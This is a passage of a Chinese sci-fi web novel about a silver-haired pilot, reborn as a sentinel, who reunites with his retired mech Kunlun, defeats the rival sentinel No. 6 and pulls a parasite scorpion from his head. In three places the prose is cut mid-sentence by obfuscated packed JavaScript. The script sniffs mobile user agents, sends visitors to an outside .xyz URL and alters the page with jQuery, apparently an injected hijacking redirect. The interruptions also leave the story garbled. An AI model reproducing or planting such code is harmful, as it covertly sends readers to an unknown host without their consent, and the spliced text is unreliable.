被提问的时候,他也只是举起水杯抿了一口,然后淡声道,“我没在名单上。” “不可能吧!你的训练成绩可是断层第一!这么有含金量的TOP1,长官们怎么可能把你忘了。” “就是!我们都进了名单,你怎么可能进不了?是不是谁搞错了?” “卢塞尔,负责测试机驾驶员选拔的昆尼尔上校不是你父亲的旧交吗?要不你去问问他?” “你问我干嘛,那雷蒙德将军还是昆尼尔上校的顶头上司呢,干嘛不让道恩直接去问他爹?!” “少扯这些,难道你不知道坐在你面前的这位皇家军校作战指挥系年级首席为了当机甲兵已经和雷蒙德上将闹掰了么……” “要我说雷蒙德将军也不知道怎么想的,他们老一辈的坐在指挥室里吹吹空调也就算了,道恩这么强,干什么非得拦着他不让他上前线……” “你站在将军的角度想想,要是你生了一个这么聪明,帅气又能干的家族嫡长子,你乐意让他纡尊降贵去前线当炮灰?” “没这种以一当百的大佬在前线挡着,到时候蝎族打进来了,别管在哪儿吹空调,都得跟着一块躺板板好吗?” 士兵们以调笑的口吻插科打诨,但坐在中心位置上的道恩·雷蒙德却只是安静地吃着东西,没再发表任何话。 直到一道严肃的声音打断了欢快的气氛: “下午测试新机甲的士兵在哪里?”穿着军装的中年男人走进了食堂,抬起手臂,光脑在空中投射出一张长长的名单,“姜奇,郑国文,卢卡斯·肯特……” “到!” “到!” “到!” “……所有我点到名的,迅速集合,去训练场!” “是!”士兵们收敛了脸上的笑容,“哎,道恩,那我们先走了……” 随着身旁的人一个接着一个地站起,方才热闹的餐桌又空了下来。 唯独没被点到名字的银发青年还静静地坐在餐桌前,他用餐的动作不紧不慢,和周围为了快速集合而不顾形象狼吞虎咽的士兵形成了鲜明的对比。 这时并不是用餐高峰期,食堂里很快便不剩下什么人了。 “雷蒙德少爷。” 青年抬起眼眸,看着站在自己的中年军官。 “昆尼尔上校,我说过,在军部,你可以直接叫我道恩。” 中年男人有些尴尬地笑了笑,抬起手理了理自己的帽檐,“将军已经和我说了,这次选拔明天就会结束,到时候我会安排人把你的组织关系调动到总指挥部,对外,我会说是你的体检报告有一些问题……” “你和我都知道,我的体检报告没有任何问题。”他的话被道恩打断了。 “机甲部队的人或许是没有那么聪明,但也不是完全没脑子,如果非要找个借口,还请找个更合情合理的,不要让我的体检报告承担这种毫无必要的污名。” “这……”中年军官露出为难的神色,“我们也只能尽量找个理由,像是心理测试结果不适合前线作战这类的……” 金属餐叉被放回盘子里的清脆声音打断了中年军官的话语。 青年举起一旁的餐巾抿了抿嘴角,然后端着餐盘站起。 “昆尼尔上校,我知道您也是听从我父亲的意思,我不会为难您。但在我正式转移组织关系之前,我依然是联合军的机甲战士,如果您没有其他事情,下午我还有训练,先失陪了。” "等等,雷蒙德少……道恩。"大概是出于某种愧疚心理,中年军官叫住了即将转身离开的青年,斟酌着用词,小心解释道,“天兵系列机甲的硬件和之前的机型相比有重大升级,它的安全性还没有被通过大样本进行验证……但前线战事紧张,我们不得已才将它们提前投入使用,将军也是担心你的安危……” 青年的脚步停下了,他没有转身,只是微微侧首。 “昆尼尔上校,您是不是也认为,我放弃星舰指挥官的直升资格,来参与机甲战士的选拔只是冲动之下的逞能行为?” “难道您还没发现吗?在以往我们所有的战役里,远程指挥所发挥的作用微乎其微,因为这是一场前所未有的战争,我们的敌人从未出现在课本上,它们的战斗形式,生活习性,思维逻辑,我们都一无所知。从已知的情报来看,无论是数量还是实力,蝎族都远超过我们,甚至直到现在蝎族图鉴上的子目录还未能穷尽……这样差距悬殊的战争,要制定怎样的战略或者战术,我们才能取得最终的胜利?” “道恩……”昆尼尔上校怔忪了一下,眼前这位十九岁的银发青年的背影在灯光下挺拔如松,他的话在空荡荡的食堂中掷地有声。 “现在的人类,缺的不是高明的指挥官,而是强大的战斗力——足以让局势发生颠覆性改变的战斗力。” 银发青年抬起头,望向窗外。 淡蓝色的能量护盾外,是漆黑一片的浩瀚宇宙。 他们正处于距离地球四百光年外的太空堡垒上。 “如果我没有在这场残酷的战争中提前死去,或许终有一天我会成为坐在这座太空堡垒指挥室最上方那个位置的人,但那不应该是现在——起码现在的我……还看不到人类的未来。” …… 联合军机甲训练基地,A-7号室内训练场,几个训练官看着测试结果的分析报告,愁眉苦脸。 “你那边怎么样了?” “什么怎么样,测试了快有十几个驾驶员了,连个能直线走路的都少见,好几个下来就吐了,这不,还有个晕过去的,刚刚让医务员拉走。” “……天兵机甲搭载的高维精神力场扫描器可以发出奥念共振波,从而探测到蝎族的精神域回声,这也是当前我们定位潜行状态下的蝎族的唯一手段。这个扫描器是新装置,以往的训练机都没有搭载,想不到会对驾驶员的表现有如此大的影响。” “再这样下去,根本没法向上面交差……” “还能怎么办,只能矮子里面拔将军了呗……” 哗啦! 仓库的大门被人移开了,中年军官背着手走了进来,身后跟着一个穿着训练服的银发青年。 “昆尼尔上校!”训练官们纷纷站直身体,朝着来人敬礼。 中年军官一脸严肃地来到几人面前,朝着一旁努了努下巴。 “安排一下,让他试试。” 训练官往一旁瞄了一眼,在望见那一簇银发的时候便一个激灵,连声拒绝,“抱歉长官,现在所有测试机都已经有人在用了!没有空余!” “没有空余?”道恩抬眼朝着训练场下方望去,“下面不是还有一台机甲吗?” “天兵一号是模型机,上面的高维精神力场扫描器还没有经过参数调节,功率是最高的,用来进行功能展示还可以,但是真人驾驶……” 训练官还想要劝说阻止,青年已经单手抓住栏杆,从观察台上跳了下去,稳稳地落在了那台处于待机状态的人形机甲面前。 他直起身,看着面前那高大魁梧的漆黑机甲,抬起左手,手腕上的光脑亮起银白的光芒,朝着面前的目标发出了激活信号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706354|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 机甲的目镜缓缓亮起,移动头部,将视线对准了他。 “初次登机者,请告诉我,你的名字。” “道恩·雷蒙德。” 青年一字一句地回答着。 “道恩·雷蒙德……”机甲用有些机械的语气重复着这个名字,随后,在青年面前缓缓单膝跪了下来,胸前的护甲朝着两侧打开,露出内里崭新的驾驶舱。 “天兵一号,愿为您效劳。” …… 初代天兵机甲共有四组动力单元,对应着面前钛合金基座上的四根操纵杆,每根操纵杆的推动和旋转分别对应着机甲的手臂与腿部相应的动作。脚下的液压踏板同样有着机械阻尼,在行进时会模拟出不同的地形阻力,甚至可以模拟出装甲板承受打击时的震颤。 而控制台腹舱则是机甲的武器与其他辅助功能的操作面板,密密麻麻的各色按键和被覆盖在透明防误触防护罩下的大规模杀伤级武器被分门别类地标记成不同颜色,分别对应着不同的武器瞄准和部署的指令。 复杂精妙的键位搭配,充分展现了古典机械美学的排列组合,这就是最传统的手控式机甲操作系统,给予了高自由度操作的灵活性,但同时也是令无数初学者难以克服的技术壁垒。 观察台上,几名训练官的眼神从担忧过渡到惊讶,最后定格在惊艳。 “天呐,打出连击了……” “刚才那套动作的流畅度有S级吧……” “不愧是那位雷蒙德少爷……这就是人与天才之间的差距吗……” “看起来完全没有受到奥念扫描波影响,太厉害了……” 惊艳之余,还有忧虑。 “昆尼尔上校,这下怎么办?我们要把他的名字……报上去吗?” 中年军官看着训练场中央的景象,并没有立即回答,只是低声喃喃道。 “人类的未来么……” 在这一刻,他好像已经隐约看到了。 他叹息了一声,像是放下了什么执念,“报上去吧。” “……那雷蒙德将军那边。” “将军那边,我去解释。” …… “雷蒙德少爷。” 正在运行中的机甲忽然喊道。 “嗯?” 驾驶舱中的青年侧了侧脑袋,表示听见了机甲的呼唤,手中的动作却没有停下,指尖以一种只剩残影的速度在操作台上来回移动着,将雷达扫描图上标记出的虚拟敌人一只一只地消灭。 “我听见他们这样叫您。”天兵一号这样说着,“我也可以这样称呼您吗?” “你可以直接叫我道恩。”青年一心二用,利落地回答着。 机甲的声音依然死板,“但是我更想称呼您为雷蒙德少爷。” “……随便你。” “雷蒙德少爷,您能为我取个名字吗?” “只有和你立下契约的驾驶员才可以拥有你的命名权,我现在只是在用你进行测试。” 天兵一号沉默了几秒,并没有把自己刚才听到的几位长官之间的对话直接说出来,只是接着询问。 “那如果测试通过,您会为您未来的机甲取什么名字呢?” “如果测试通过……”青年的双眸中流露出一丝认真,在思忖片刻后道,“我有一句很喜欢的诗词。” “横空出世,莽昆仑,阅尽人间春色(注1)。” “所以,它应该就叫——” “昆仑。” 横亘了三十八年的过去与现在重合于这个名字被人唤出的那一刻,无数串冒着微光的数据流入了空荡荡的思维核心,墨绿色机甲核心处理器的散热风扇猛地加快了运转。 这大概就是,人类所说的“心满意足”吧。 “……我在。” 在不易察觉的停顿后,AI用格外郑重的语气回应道。 “终于又见面了,雷蒙德少爷。” 5. 磨合期 在当年通过那场测试之后,道恩·雷蒙德便与天兵一号正式签订了战斗契约,“昆仑”这个名字被录入了机甲的人格核心,从此成为了天兵一号对外的正式称呼。 伴随着一个个熟悉的按键从指尖下方经过,原以为已经遗忘的记忆重新浮现到脑海中,历历在目。 这台机甲从里到外都有道恩·雷蒙德的痕迹,他为它定制了独一无二的墨绿色涂装,对机甲内外的软硬件进行了一系列不计成本的精密改造。 它是他的第一台专属契约机甲。 零号抬起眼眸。 “刚刚,是你把我传送进驾驶舱的?” “是的,事态紧急,没有征求您的同意就擅自开启了传送,请您谅解,雷蒙德少爷。”昆仑的电子声线带着特有的韵律。 “你就没有怀疑过……我或许不是道恩·雷蒙德吗?”零号注视着屏幕上机甲平稳的思维曲线,试图提起它的警戒心。 “不会错的。”昆仑语气确定,“您的面部关键特征点与我数据库中记录的一致,而且精神波与密钥仓记录的初始波纹对比误差不超过0.007%,无论是从身体还是精神的角度而言,您都是我的主人。” 零号怔愣了一下。 精神波也一致?怪不得能够开启紧急传送,但是……如果自己只是个克隆体,为什么会…… “不过……您的身体特征发生了一些细微的变化,例如——身高增加了5.2厘米,体重增加了1.7公斤,体脂率下降了2%,平均心率降低到了63次每分钟。” 昆仑仔细地将主人变化的身体数据标注在屏幕上,投射出来,最后满意地总结道。 “您变得更加强壮和健康了。” “发生了一些事情……总之,我现在大概算是哨兵了。” 零号用指节叩了叩扶手,一边思索一边说着。 刚刚苏醒的他尚未厘清所有情况,从身体素质来看,他似乎确实成为了哨兵,但如果单看精神形态……他却还是向导。 这种情况真的有可能出现同在一个人身上吗? 零号暂时无法从科学角度解释自己是如何变成这样的,如果昆仑问起,他也只能保持沉默了。 “原来是这样。” 但预想当中的追问并没有到来,机甲对主人忽然换了个物种的离奇情况没有产生任何异议,甚至欣慰道,“太好了,您还是人类的时候总是昼夜不分地参与高强度战役,我总是很担心您会过度劳累。” 完全错误的关注点。 零号无奈地揉了揉眉心,意识到自己的担忧实属多虑了。 “你还是和之前一样……” 从不质疑他的话语,只是一味地操心他的身体。 “昆仑,我知道你已经退役了,但现在我需要你,你还愿意与我一起战斗吗?” “当然,”机甲毫不犹豫地回答, “能与您一起战斗是我的荣幸,雷蒙德少爷,昆仑随时为您效劳。” “不必再叫我这个名字了。” 雷蒙德这个姓氏意味着太多东西,既然有一次重新开始的机会,何必再为自己套上这层枷锁。 “明白,那么我该如何称呼您呢?” 青年想了想,“沈莫玄。” 世人皆知道恩·雷蒙德的父亲是“白银公爵”马修·雷蒙德上将,但对他的母系却知之甚少,鲜有人听过他的另一个名字。 “好的主人,已将‘沈少爷’加入主人的常用称呼数据库。”机甲从善如流地回答。 “不用对我加敬称,就叫我沈莫玄就好。” “可是……”机甲犹豫了一下,刚想要故技重施就被人打断了施法。 “这是命令。”银发青年这样说着。 【道德协议冲突,敬语删除失败。】 屏幕上弹出一个大大的报错。 昆仑一本正经道,“抱歉,主人,我的底层协议似乎不支持修改敬语格式,如果您不喜欢之前的称呼,那么‘莫玄大人’如何?” “……算了,随你吧。” 零号,或者说沈莫玄默了默,没再纠结这微不足道的称谓问题,转而用双手扣住了面前的操作手柄,启唇道: “准备好一起活动活动筋骨了吗,搭档。” “时刻准备着,莫玄大人。”昆仑用铿锵有力的语调回应道。 …… “零号!出来!” 梼杌的激光雷达一遍遍扫描着外界的战场,将所有活动目标标记在数字头显的全息滤光片上,但上面却始终没有那个银发哨兵的身影。 这让沉不住气的六号有些气急败坏。 六号的年龄是六位S级哨兵中最小的,他才刚从实验室诞生不到三年,缺乏战斗经验,很多时候行动会缺乏章法,只会跟随本能急躁行事,这种缺点在少了指挥之后明显被放大了。 滴滴滴滴—— 刺耳的警鸣声响起,监视器中突然冒出了大量潜在威胁对象,一时间梼杌的暗合金外壳上多出了密密麻麻的红点。 “入侵者,请立即解除武装形态,举起双手。” 围在黑塔下方的机械狱警们将武器对准了中央的机甲,用毫无起伏的声音警告着。 六号看着面前这些型号老旧的天兵机甲,不耐烦地发出一声低嗤。 “……一群破铜烂铁,也敢拦我?” 连接着他后脊椎的神经束微微发烫,哨兵的意念传递到了这架和他精神连接着的天枢机甲当中,四肢着地的兽形机甲发出一声嘹亮的咆哮,层层叠叠的武器单元从它的后背展开。 【正在进行二级展开,进入堡垒模式,解除敌我识别,即将开启无差别攻击——】 明亮的蓝光从梼杌后背冒出,明亮的电磁粒子弹以梼杌为原点,朝着四周发散出去,顷刻穿透了天兵机甲脆弱的合金外壳,点燃了能量核心,过热的反应炉瞬间引发了连环爆炸,爆炸产生的冲击波一层层往外扩散。 轰轰轰!!! 钛灰色机甲在爆炸产生的高温和噪音中洋洋得意地摆动着机械尾巴,在它四周,被烧毁的机甲残骸一架接着一架轰然倒下。 “不堪一击。” 六号轻浮地评价着,发出轻蔑的嗤笑。 “破铜烂铁?” 突如其来的质问声让六号僵住了上扬的嘴角。 黑烟慢慢散去,一台墨绿色的人形机甲踩着满是焦土的地面,从废墟中一步步走出来。 机甲漆黑的目镜缓缓抬升,幽幽的蓝光从其中亮起。 “没教养的小崽子,谁教你这样称呼这些光荣退役的战士?” “你……”六号的眉头猛地拧起,“零号?” 他打量着站在面前的墨绿色机甲,表情从惊讶变为嫌弃。 “这台初代机看起来都可以进博物馆当古董了吧,你确定会用吗?” “它叫昆仑。” “……什么?” “记住,即将打败你的机甲,叫做昆仑。”对战频道中传来青年沉冷的声音。 六号的嘴角扯了扯,论徒手格斗他或许不如面前的初代哨兵,可机甲和机甲的断代差距几乎是碾压级别的,他根本没把面前的老年机放在眼里。 “我倒要看看你这老冰棍搭配老古董能有多厉害!” 哑光银的兽形机甲压低身体匍匐在地,四肢发力凌空一跃,朝着面前的墨绿色机甲扑了过去。 指尖的动作比思维反射更快,见梼杌袭近,沈莫玄迅速往上推动操纵杆想要操控昆仑进行格挡,但就在操纵杆被推到一半的时候,插槽底部忽然发出了一声尖锐的声响,似乎是杆身遇到了什么阻碍,无法再被继续推进。 银发青年皱了皱眉,当机立断地选择直接说出指令,“昆仑,举臂格挡。” “是!” 墨绿色机甲立刻抬起双臂,但仅是迟滞了片刻,梼杌的利爪已然袭至面前。 滋啦—— 锋利的暗合金刃面和机甲表面的防护涂层摩擦的位置冒出一阵火花,墨绿色机甲头部的漆面被破坏,原本光亮如鉴的面部出现了一道斜斜的漆黑伤疤。 头部被袭的昆仑踉跄着后退想要躲开,但却又脚部一滞,像是卡住了一样往后笨重地倒去。 轰! 地面上尘埃四起。 梼杌轻盈地落在地上,后背的粒子炮架台调转方向,瞄准了倒地的天兵机甲的胸口。 “怎么,老家伙,现在不敢说大话了?”频道中响起六号嚣张的声音。 “万分抱歉,主人,可能是我的操作杆太久没有被使用,内部零件缺少润滑维护,所以用起来有些滞涩,还有……我的机体动态平衡也已经很多年没被校准……现在恐怕没办法进行剧烈的大幅度动作……” 深知刚才失误的原因,昆仑歉疚的声音在驾驶舱内响起。 “是我太过逞强,才让主人您被这样羞辱……我的外壳防御系数不足以抵挡天将机甲的粒子炮,请您立刻进入逃生舱避让,接下来的战斗就由我来自动接管!” “自动接管的话你就只能和刚才的那些机械狱警一个下场。” 躺坐在驾驶座上的银发青年将手覆在了腹舱部位的某个亮黄色按键上方,指尖描摹着按键边缘,“不要急,我们再试试。” “可是那样主人恐怕会有生命危险!” “又来了……”沈莫玄挑眉,“如果真的这么容易死,那我们就一起死吧,还是说你不乐意让我死在你的机体里?” “昆仑绝对没有这个意思!只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706355|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……”机甲的思维曲线顿了顿,跳跃的幅度变得激烈起来。 它的解释被六号嚣张的叫喊打断了。 “不说话?那就去死吧!” 压制在昆仑机体上的兽形机甲背部的粒子激光炮口愈发明亮,眼看就要再度发出刚才一下轰碎了黑塔的混凝土墙壁的激光粒子炮。 沈莫玄神色微凝。 从刚才的攻击推断,梼杌的粒子激光炮的蓄能需要大约两秒时间,通常而言,蓄能达到90%后,就无法再撤回,否则炮口将会因为过载而损坏。 而这时便是反击的最佳时机。 在粒子炮的发射口亮光最盛的时刻,沈莫玄眼神一利,果断地拍下那个按键。 接受了改造的天兵机甲被卸除了大部分的武器,就连仅剩的攻击手段也被大幅度削弱,但唯有一样东西是没有任何改变的。 足以抵挡陨石冲击的宇宙级能量护盾。 霎时,机甲表面亮起一道青绿色的冷光,弧形的能量护盾从体表扩散开,攻击在上方的粒子顿时被反弹散射向四周,首当其冲的就是离得最近的梼杌。 轰—— 兽形机甲被冲击波影响往后倒飞出去,摔倒在地上,原本光亮的外壳在冲击下变得焦黑不堪。 而摆脱了被压制状态的墨绿色机甲则抬起手臂,在驾驶员操控下撑住地面坐了起来。 沈莫玄没有着急反击,而是让机甲维持着坐在原地的姿势,用右手指尖依次推动旋转着每根操纵杆,将它们的键位高度,旋转力矩与机体每个关节的移动距离,旋转角度一一对应,同时左手打开悬浮的全息控制面板,指尖翻飞,迅速调节着操作系数。 “主人……”昆仑怔怔看着为自己调节参数的银发青年。 他将很多动作的幅度阈值控制在了很小的范围内,这样做显然会让战斗受到很大的限制,但昆仑知道,那些动作的阈值就已经是现在的它的极限了。 “居然让主人必须做出这样的让步……”昆仑深感自责,“现在的我……太无能了……” 它回想起了某段类似的往事。 在道恩·雷蒙德22岁那年,他们在战场附近不幸遭遇超新星爆发,机体被波及破损,驾驶舱失压,漏氧严重。 银发青年强撑着意识驾驶它回到基地,一落地就直接陷入了昏迷,而失去了操控的机甲也轰然倒地。 它听见了那些赶来救人的医疗兵的议论。 “怎么了,是雷蒙德少校的操作失误了吗?” “不,他的表现依然很完美,是昆仑的钛钢合金外壳在高温下太脆弱了,没抵挡住爆炸冲击波……” “技术部不是已经在研发新材料了吗?” “纳米新材料产量有限,只能优先被用于新机型的开发。” “说起来,昆仑也已经在役三年了……芯片性能开始减弱,零件也逐渐老化……少校是不是应该更换新的契约机甲了……” 外界的噪音进入到信息处理器当中,机甲的思维曲线不稳定地起伏着。 都是它的错……是它没有用,没能保护它最重要的主人。 …… “谁说你没用了?”舱室内响起了一道沉着的声音。 参数调节完毕。 银发哨兵那宽大的手掌将操纵杆包裹在内,手臂骤然发力,将那停滞在卡槽当中的操作手柄往前一送,“咣当”一下推到了底,控制着机甲支起膝盖,从地面上重新站了起来。 过去与现在逐渐重叠在一起。 “谁说的?” 虚弱而又格外坚定的声音从驾驶者口中溢出,回到基地人造大气层内的道恩·雷蒙德随着舱体内的氧气含量升高而清醒过来。 昆仑这才意识到自己刚才将那些自怨自艾的心理活动说了出来,但此刻在他的思维核心中第一优先级的任务是关心主人的身体。 “雷蒙德少爷!您没事了吗……” “谁说你没用的……你这不是……成功保护了我吗……” 道恩缓缓抬起手,握住了操作手柄。 “乖孩子,站起来,告诉那些人——我们很好。” …… “可恶……”六号的额角迸出了几根青筋,操纵着梼杌从地上一跃而起。 “算你运气好。”他将刚才的遇袭归结于自己的大意,“这一次我不会再让着你了,老家伙!” 虎形机甲四足蹬地,再度扑了上去。 可这一次,面前的天兵机甲却一反原先笨拙缓慢的模样,以一个巧妙的姿态微微一动,便优雅地侧身避开了那利爪的攻击。 “运气好的是你吧,小崽子。”一道沉稳的声音从公共频道中响起。 “换到以前,你早就已经哭着叫爸爸了。” 6. 全宇宙通缉 怎么可能!? 六号瞳孔微缩,不甘心地操纵梼杌再次扭转身体攻了上去。 天将机甲的速度和灵活度远超过天兵机甲,梼杌本就以攻速著称,合金利爪每一击都在空中产生清脆的破风声。 可无论他再怎么努力,都没能再次将面前的墨绿色机甲击倒。 老式机甲的节奏虽慢,但在驾驶员精准的操作下,如同预判了他的动作一般,每次都四两拨千斤地拦住或者避开了他的攻击。 驾驶舱中,银发青年操控机甲的动作愈发娴熟,举重若轻,如鱼得水。随着机甲的微动力单元给予的反馈从滞涩到流畅,每个动作的延迟和偏差都降低到几乎感受不到,他知道,他与昆仑的磨合期已经过去了。 哨兵的神经反应速度远比人类更快,沈莫玄甚至觉得自己的操作比以往更加得心应手了,指尖在操作台上灵活而又轻盈地上下翻飞的同时,他甚至还有富余的闲暇送出一句轻飘飘的嘲讽: “动作这么慢,脑子被那只寄生蝎的粪便堵塞了吗?” “这个混蛋……” 六号咬了咬牙。 “梼杌!你在做什么?为什么反应这么慢!” 显然,他并不认为梼杌作为能用神念来操控的天将机甲,反应居然还没有手动操作的天兵机甲灵敏,会是他这个操控者的错。 绝对……绝对是机甲的问题! “打不过别人就怪自己的机甲……S级哨兵就是你这样逃避责任的懦夫?” 沈莫玄从驾驶舱上半支起身体,因为倾角过大,吸附在胸前的生命体征检测检测带都被拉扯着紧紧勒入了他的胸肌当中,但他却恍若未觉,只是双手撑着操作台,用自身的重力协同发力,一脚将已然有些锈意的踏板踩到了最底部,紧接着大臂一挥,拍下操作台前方的操作按键。 墨绿色机甲在哨兵的带动下猛然原地跳起,旋身一记后旋踢,沉重的机身在离心力的作用下产生的强大推进力直接将刚刚跃起的兽形机甲轰地一下踹飞到了地上。 与此同时,昆仑的上臂中弹射出一把锃亮的青色激光长剑,在机体落地的同时反手刺入了倒在地上的兽形机甲,咔擦一声,干净利落地将那条带着倒钩的机械长尾从根部切断了。 断裂的机械长尾连接处发出耀眼的电火花,梼杌仰起身体发出一声咆哮,但在它仰卧起坐之前,墨绿色的天兵机甲一脚踩上了它的胸腹位置,用将近十吨的自重将它压回了原地。 “滚出来,六号。”对战频道中传来了零号哨兵不紧不慢的声音,“否则下一剑就是驾驶舱的位置了。” “不许你伤害六号喵!”一道有些尖细的童音响起。 四脚朝天倒在地上的梼杌愤懑地挥舞着自己的利爪。 “嗯?” 驾驶舱中的沈莫玄发出一声微扬的鼻音,没有想到这台造型威武的兽形机甲的AI人格形态居然是只……小奶猫? 那几声低沉的咆哮都是故意模拟出来的么…… 果然,幼稚的哨兵,配幼稚的机甲。 “梼杌。”沈莫玄操纵着昆仑,激光剑刃指向兽形机甲被迫袒露出来的胸脯,“解除你的武装形态,或者把你的驾驶员弹出来,我数到三——” “不行不行,你会杀了他的。”梼杌拼命摇头。 “不听话的话,连你一起杀。” “……杀我可以,杀六号不行!” “你倒是护主。” 激光剑一剑刺入机甲胸口最为薄弱的接缝位置,剑刃穿透了梼杌的外壳,又从后背穿出,直入地面。 隐藏在机甲胸膛中央的驾驶舱暴露了出来。 “喵嗷!”梼杌发出一声尖叫,只剩下一小截的断尾疯狂抖动,“你干什么!快住手!” 沈莫玄不言,直接操控昆仑粗暴地扯开了梼杌的驾驶舱舱门。 嘎吱—— 随着舱门破损,大量透明的粘稠液体从舱室中倾泄而出,这是天将机甲专用的神经同步液,又被称为“神髓”,可以增强机甲与适配者之间的精神连接信号,同时具有供氧,缓冲,修复神经损伤的作用。 躺在驾驶舱里的六号已经因为刚才的冲击晕过去了,此刻脑袋歪到一侧人事不省。 “昆仑,我下去一下,这里交给你。” “主人,我送您。” 昆仑低下头,张开手掌在胸前摆出了平摊的手势。 墨绿色机甲的前胸护甲朝两侧打开,内置在胸膛最中央的驾驶舱暴露出来,伴随着一阵气动声,驾驶舱的保护盖从里朝外打开,银发青年从驾驶舱站起来,走到了机甲举起的手掌上。 昆仑单膝跪地,将自己的操纵者用双手捧着,缓缓放在了倒地的梼杌胸口打开的驾驶舱旁。 沈莫玄来到破损的舱门旁,伸出手臂,像是剥玉米芯子一样把昏迷的六号从满仓的神经接驳须中拽出来,然后捏住六号的下颚将他无力耷拉着的头颅抬起,仔细审视他的额头。 从他的视野来看,在灰发哨兵的精神域深处,一只黑色寄生蝎正攀附在那些神经节点上,发出一阵阵精神波动。 这东西感受到了他的威胁,正在向母蝎发信号求救呢…… 想搬救兵,可没那么容易。 银发青年眯起眼睛,眼瞳深处,如深夜蓝藻般的幽幽荧光开始向外扩散。 无数精神触丝在他的操控下刺入了六号的脑海。 昏迷中的六号在他的注视下蜷缩起身体,口中发出断断续续的哀嚎,最后止不住地抽搐起来。 “六号!六号你怎么了喵呜呜……”梼杌看着处于极度痛苦中的主人,有些着急,但却因为被昆仑的激光剑钉在地上而动弹不得。 “啊啊啊啊啊……呃嗬!” 伴随着一声嘶喊,六号的腰腹猛地向上拱起,头颈后仰,眼皮睁开,眼珠上翻到了极致。 他的太阳穴上突然凸起了一个不规则的长条形鼓包,鼓包活动着来到了他的眼角,紧接着在那满是血丝的眼白下方冒出了小半截脑袋——被人揪住,连着血丝生拽了出来。 沈莫玄看着那个自己手指中间扭动着的黑蝎,这恶心的东西大概有一根小拇指那么长,没有眼睛也没有鼻子,只有一个扁平的口器,里面有很多密密麻麻的牙齿。 大概是突然失去了附着点,主宰神经蝎突然张大了口器,想要向他的指腹咬去。 说时迟那时快,一只机械钳快狠准地夹住蝎子的尾勾,将其丢到了地上。 站在哨兵身侧的墨绿色机甲收回了食指伸出的微型机械钳,吧唧一脚直接把寄生蝎踩成了二维平面,然后毫不犹豫地打开手掌中的推进器,以一种高射炮打蚊子的严谨态度,用几千度的的火焰将其加热至了十成熟。 等到机甲移开脚部,别说是蝎子尸体,在高温灼烧下,就连土地都已经焦化成了黑漆漆的齑粉,连蝎子原本在哪儿都看不见了。 沈莫玄仰起头,和半蹲在自己身旁的墨绿机甲对视,看着它故作无辜地歪了歪大大的脑袋。 “主人,您说过您不在驾驶舱的时候,我可以自由行动的。”昆仑指了指那堆粉末,“刚刚这只不明身份的蝎子想要咬你,真是太危险了。” 它都那么听话护主了,沈莫玄还能说什么。 “乖。” 他摸了摸昆仑凑上来的大脑袋。 …… “站住,都不许动,统统举起手来!” 身后传来严厉的警告,姗姗来迟的人类狱警在副狱长的带领下将两台机甲包围。 站在梼杌头顶的沈莫玄偏过头来,看着那些全副武装,穿戴着黑色机械外骨骼的人类狱警,慢慢松开手中拎着的六号的衣领,直起身。 后者像个破麻布袋一样从机甲胸口光滑的边缘“咚”地一声滚到地上,五体投地,看起来是又重新昏过去了。 “你就是入侵者?” 副狱长乔治亚·埃弗顿尚不知晓黑塔顶部的“最高机密”,用枪指着站在机甲上方的银发青年,语气警惕。 沈莫玄正欲开口,墨绿色的机甲忽然从单膝跪地的姿势站了起来。 它的钢铁之躯十分高大,一下子就把他挡得严严实实。 “埃弗顿副狱长,请让大家放下武器,我身后的人并不是入侵者。” “那他是谁?” 昆仑并没有立刻回答,似乎是在思考应该公开哪些信息。 就在这时,队伍中有眼尖的狱警犹犹豫豫地开口了。 “等等,埃弗顿副狱长,那个人长得好像……” “好像什么?” “好像那位大人。” “我刚刚也看到了……” “可是那位大人已经……” “你们几个在唧唧歪歪地说些什么!”埃弗顿皱了皱眉,打断了下属们的议论。 “昆仑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在一阵杂乱的雪花片后,所有人的光脑投影中出现了一个气质邪肆的长发男人。 他有着一双狭长的紫罗兰色双瞳,一头长发随意地披散在身后,左耳上戴着一枚金属十字架耳坠,十字架的中央嵌着一枚深紫色晶石,看起来和瞳色很是接近。 “午安,女神星的诸位,我是哨兵五号,我有一个好消息和一个坏消息要告诉大家。” 穿着黑色作战服的五号翘着二郎腿坐在驾驶舱上,表情轻佻地玩弄着一把匕首,那枚紫色十字耳坠随着他的动作在他的耳垂下方摇曳着。 “坏消息是,很遗憾地告诉各位,我和另外五名S级哨兵已经归顺蝎族,现在五大机要太空城已经全部在我们的控制之下。而我和我的战舰勒森魃号已经在去往女神星的路上,船上搭载着可以直接击碎整个星球的反物质湮灭炮。” “好消息是,你们依然有生存下去的可能,只要你们选择向我交出哨兵零号。” “嘀嗒嘀嗒,留给你们的时间不多了,我大概会在4小时后抵达,请做出正确的选择吧。” 五号假装不经意地看了看自己手腕上不存在的手表,语气轻慢柔和,但眼底却看不见一丝暖意。 “哦对了,差点忘了,你们有可能不认识零号。” “提醒一下,他长这样——” 